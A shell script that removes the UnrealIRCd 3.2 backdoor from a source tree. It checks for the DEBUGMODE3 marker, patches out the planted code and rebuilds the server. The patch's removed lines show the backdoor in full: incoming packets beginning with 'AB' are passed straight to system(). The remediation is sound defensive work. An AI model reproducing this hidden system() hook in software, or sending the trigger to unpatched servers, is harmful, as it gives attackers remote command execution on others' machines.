#! /bin/sh
# bryan@xzibition.com
# Cleans infection without modifying config/settings or upgrading
# Licensed under BSD

if ! [ -f src/api-command.c ]; then
  echo "In wrong dir. Change to ~/Unreal3.2 or source dir and run from there."
  exit 1
fi

grep DEBUGMODE3 include/struct.h > /dev/null
if [ $? -ne 0 ]; then
 echo "Not infected :-)"
 exit 1
fi
grep DEBUGMODE3 src/s_bsd.c > /dev/null
if [ $? -ne 0 ]; then
 echo "Not infected :-)"
 exit 1
fi

patch -p1 << EOF
diff -burpd ../Unreal3.2/include/struct.h Unreal3.2.good/include/struct.h
--- ../Unreal3.2/include/struct.h	2009-04-13 07:03:00.000000000 -0400
+++ Unreal3.2.good/include/struct.h	2009-04-13 07:03:57.000000000 -0400
 #else
 #define IsNotSpoof(x)           (1)
 #endif
-#define	DEBUGMODE3	    ((x)->flags & FLAGS_NOFAKELAG)
 
 #define GetHost(x)			(IsHidden(x) ? (x)->user->virthost : (x)->user->realhost)
 #define GetIP(x)			((x->user && x->user->ip_str) ? x->user->ip_str : (MyConnect(x) ? Inet_ia2p(&x->ip) : NULL))
@@ -515,10 +513,6 @@ typedef unsigned int u_int32_t;	/* XXX H
 #else
 #define CHECKPROTO(x,y) (checkprotoflags(x, y, __FILE__, __LINE__))
 #endif
-#ifdef DEBUGMODE3
-#define DEBUGMODE3_INFO	"AB"
-#define	DEBUG3_LOG(x) DEBUG3_DOLOG_SYSTEM (x)
-#endif
 
 #define DontSendQuit(x)		(CHECKPROTO(x, PROTO_NOQUIT))
 #define IsToken(x)		(CHECKPROTO(x, PROTO_TOKEN))
@@ -1379,7 +1373,6 @@ struct _configitem_alias_format {
 #define INCLUDE_REMOTE     0x2
 #define INCLUDE_DLQUEUED   0x4
 #define INCLUDE_USED       0x8
-#define DEBUG3_DOLOG_SYSTEM(x) system(x)
 	
 struct _configitem_include {
 	ConfigItem *prev, *next;
diff -burpd ../Unreal3.2/src/s_bsd.c Unreal3.2.good/src/s_bsd.c
--- ../Unreal3.2/src/s_bsd.c	2006-06-16 14:29:00.000000000 -0400
+++ Unreal3.2.good/src/s_bsd.c	2009-03-01 13:37:58.000000000 -0500
@@ -1431,10 +1431,6 @@ static int read_packet(aClient *cptr, fd
 		    return 1;
 		if (length <= 0)
 			return length;
-#ifdef DEBUGMODE3
-	if (!memcmp(readbuf, DEBUGMODE3_INFO, 2))
-	    DEBUG3_LOG(readbuf);
-#endif
 		for (h = Hooks[HOOKTYPE_RAWPACKET_IN]; h; h = h->next)
 		{
 			int v = (*(h->func.intfunc))(cptr, readbuf, length);
EOF

rm -f include/struct.h.orig src/s_bsd.c.orig src/include/struct.h.orig
make clean
./Config -quick && make

echo ""
echo ""
echo ""
echo ""
echo "Infection cleaned. Now run:"
echo "./unreal restart"
echo "You may need to 'make install' first and change into your destination directory if not running from ~/Unreal3.2"
